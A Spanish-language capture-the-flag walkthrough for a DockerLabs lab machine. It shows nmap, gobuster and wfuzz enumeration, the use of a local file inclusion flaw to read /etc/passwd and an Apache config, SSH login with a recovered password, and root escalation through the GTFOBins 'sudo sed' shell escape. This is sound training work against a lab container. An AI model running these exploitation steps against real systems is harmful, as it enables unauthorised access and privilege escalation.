



Vamos a desplegar la maquina vulnerable.

```
> sudo bash auto_deploy.sh sites.tar
```



DOCKERLABS

Estamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es → 172.17.0.2

Presiona Ctrl+C cuando termines con la máquina para eliminarla

Haremos un escaneo profundo de los puertos abiertos del servidor.

```
> sudo nmap -sS -sSC -Pn --min-rate 5000 -p- -vvv --open 172.17.0.2 -oN Puertos
Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.821MB)
> cat Puertos
```

	File: Puertos
1	# Nmap 7.95 scan initiated Mon Oct 27 16:37:41 2025 as: /usr/lib/nmap/n
2	Nmap scan report for 172.17.0.2
3	Host is up, received arp-response (0.0000070s latency).
4	Scanned at 2025-10-27 16:37:41 CET for 1s
5	Not shown: 65533 closed tcp ports (reset)
6	PORT STATE SERVICE REASON
7	22/tcp open ssh syn-ack ttl 64
8	ssh-hostkey:
9	256 cb:8f:50:db:6d:d8:d4:ac:bf:54:b0:62:12:7c:f0:01 (ECDSA)
10	ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAA
11	256 ca:6b:c7:0c:2a:d6:0e:3e:ff:c4:6e:61:ac:35:db:01 (ED25519)
12	_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKGqhjD+M02k+IyC2S02PhsIqDZ1FVnUK
13	80/tcp open http syn-ack ttl 64
14	_http-title: Configuraci\xC3\xB3n de Apache y Seguridad en Sitios Web
15	http-methods:
16	_ Supported Methods: GET POST OPTIONS HEAD
17	MAC Address: 02:42:AC:11:00:02 (Unknown)

Vemos que tiene el servicio http, así que exploraremos la página.

Tenemos que quedarnos con **sites-available** y **sitio.conf**

Online - Reverse Shel...GTFOBinsDockerLabsCrackStation - Online...PayloadsAllTheThing...CyberChefChatGPTAll labs | Web Secur...

### Configuración de Apache y Seguridad

- Configuración de Sitios en Apache
- Prevención de Vulnerabilidades LFI

#### Configuración de Sitios en Apache

Apache utiliza los directorios sites-available y sites-enabled para gestionar la configuración de los sitios web. Aquí veremos un ejemplo de cómo configurar un sitio.

Supongamos que tienes un archivo de configuración en sites-available llamado sitio.conf. Este archivo podría tener el siguiente contenido:

```
ServerAdmin webmaster@sitioejemplo.com
ServerName www.sitiochingen.com
DocumentRoot /var/www/html ->chingen
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
```

Este archivo define un virtual host para el dominio `www.sitiochingen.com` y especifica la ubicación del directorio raíz del sitio y los archivos de registro.

Para habilitar este sitio, se crea un enlace simbólico en sites-enabled usando el comando `ln -s sitio.conf`, y luego se reinicia Apache para aplicar los cambios.

#### Prevención de Vulnerabilidades de Local File Inclusion (LFI)

La Local File Inclusion (LFI) es una vulnerabilidad de seguridad que permite a un atacante incluir archivos locales en la aplicación web. Esto puede exponer archivos sensibles como `sitio.conf`, a partir de algún archivo con código vulnerable, por ejemplo `vulnerable.php`, que contiene configuraciones importantes del servidor.

Para evitar que un atacante pueda acceder a archivos sensibles como `sitio.conf`, sigue estas prácticas de seguridad:

- Validación de Entrada:** Asegúrate de validar y sanitizar toda la entrada del usuario para prevenir la inclusión de archivos no autorizados.
- Configuración de Permisos:** Restringe los permisos de archivos y directorios para que solo el servidor web tenga acceso a los archivos de configuración.
- Desactivar Listado de Directorios:** Configura Apache para desactivar el listado de directorios. Esto evita que los atacantes vean el contenido de los directorios.
- Uso de Seguridad Adicional:** Implementa medidas de seguridad adicionales, como el uso de `mod_security` y otros módulos de protección en Apache.

Siguiendo estas recomendaciones, puedes minimizar el riesgo de que un atacante aproveche vulnerabilidades de LFI para acceder a archivos sensibles como `sitio.conf`.

© 2024 Tutoriales de Apache y Seguridad Web

Al no encontrar nada más en la pagina, utilizaremos gobuster para buscar directorios.

```
> sudo gobuster dir -u http://172.17.0.2 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,py,txt -t 100 -k -r
```

Gobuster v3.8  
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://172.17.0.2

[+] Method: GET

[+] Threads: 100

[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

[+] Negative Status codes: 404

[+] User Agent: gobuster/3.8

[+] Extensions: html,py,txt,php

[+] Follow Redirect: true

[+] Timeout: 10s

Starting gobuster in directory enumeration mode

/index.html (Status: 200) [Size: 3591]

/vulnerable.php (Status: 200) [Size: 37]

/server-status (Status: 403) [Size: 275]

Encontraremos un fichero vulnerable.php

← → ↺ 🏠 172.17.0.2/vulnerable.php

Online - Reverse Shel...GTFOBinsDockerLabsCrackStation - O

Please provide a page or a username.

Haremos un fuzzeo con wfuzz, así que primero lo haremos básico para mirar y luego aplicar filtros.

```
➤ wfuzz -c --hc=404 -t 200 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u "http://172.17.0.2/vulnerable.php?FUZZ=/etc/passwd"
/usr/lib/python3/dist-packages/wfuzz/___init____py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
*** Wfuzz 3.1.0 - The Web Fuzzer ***
*****
Target: http://172.17.0.2/vulnerable.php?FUZZ=/etc/passwd
Total requests: 207643
```

ID	Response	Lines	Word	Chars	Payload
000000001:	200	1 L	7 W	37 Ch	"# directory-list-lowercase-2.3-medium.txt"
000000003:	200	1 L	7 W	37 Ch	"# Copyright 2007 James Fisher"
000000168:	200	1 L	7 W	37 Ch	"gallery"
000000007:	200	1 L	7 W	37 Ch	"# license, visit http://creativecommons.org/licenses/by-sa/3.0/"
000000216:	200	1 L	7 W	37 Ch	"faq"
000000018:	200	1 L	7 W	37 Ch	"2000"
000000034:	200	1 L	7 W	37 Ch	"10"
000000015:	200	1 L	7 W	37 Ch	"index"
000000017:	200	1 L	7 W	37 Ch	"download"

Una vez lo tenemos, aplicamos los filtros.

```
Wfuzz -c --hc=404 --hl 1 --hw 7 --hh 37 -t 200 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u "http://172.17.0.2/vulnerable.php?FUZZ=/etc/passwd"
/usr/lib/python3/dist-packages/wfuzz/__init__.py:14: UserWarning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
*****
+ Wfuzz 3.1.0 - The Web Fuzzer
*****
Target: http://172.17.0.2/vulnerable.php?FUZZ=/etc/passwd
Total requests: 207643

ID      Response  Lines  Word  Chars  Payload
-----
000000099: 200      26 L   32 W   1252 Ch "page"
```

Encontramos la pagina y vemos que encontramos un usuario llamado chocolate.

```
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/usr/sbin/nologin apt:x:42:65534:/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash messagebus:x:100:102:/nonexistent:/usr/sbin/nologin systemd-network:x:998:998:systemd Network Management:/usr/sbin/nologin systemd-timesync:x:997:997:systemd Time Synchronization:/usr/sbin/nologin systemd-resolve:x:996:996:systemd Resolver:/usr/sbin/nologin chocolate:x:1001:1001:./:/home/chocolate:/bin/bash sshd:x:101:65534:./:/usr/sbin/nologin
```

Exploramos la ruta que antes nos indicaba la página index.

```
ServerAdmin webmaster@tusito.com DocumentRoot /var/www/html ServerName sitio.dl ServerAlias www.sitio.dl Options Indexes FollowSymLinks AllowOverride All Require all granted # Bloquear acceso al archivo archivotrataviesito (cuidadito cuidadín con este regalín) # # Require all denied # ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined
```

Ahora vemos que nos indica el directorio donde encontramos la contraseña del usuario.

```
Hay buen, has entendido el funcionamiento de un LFI y los archivos interesantes a visualizar dentro de apache, ahora te proporciono el acceso por SSH, pero solo la password, para practicar un poco de brute force (para variar) lapasswordmasmolodelacity
```

Nos conectamos por ssh al usuario.

```
> ssh chocolate@172.17.0.2
The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established.
ED25519 key fingerprint is SHA256:9g0zsgmbuB2RVFQh9tYGRyyrKG2rcWWUBPAXiTchYG8.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts.
chocolate@172.17.0.2's password:
Welcome to Ubuntu 24.04 LTS (GNU/Linux 6.12.25-amd64 x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

chocolate@3460b054d5d1:~$
```

Con `sudo -l` vemos que tenemos el binario `sed`. Así que lo buscaremos desde `gtfobins` para ver cómo podemos escalar privilegios.

## Sudo

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

GNU version only. Also, this requires `bash`.

```
sudo sed -n '1e exec sh 1>&0' /etc/hosts
```

Ejecutamos el comando y vemos que ahora somos `root`.

```
(FILE) NOT FOUND: /usr/bin/sed
chocolate@3460b054d5d1:~$ sudo /usr/bin/sed -n '1e exec sh 1>&0' /etc/hosts
# whoami
root
#
```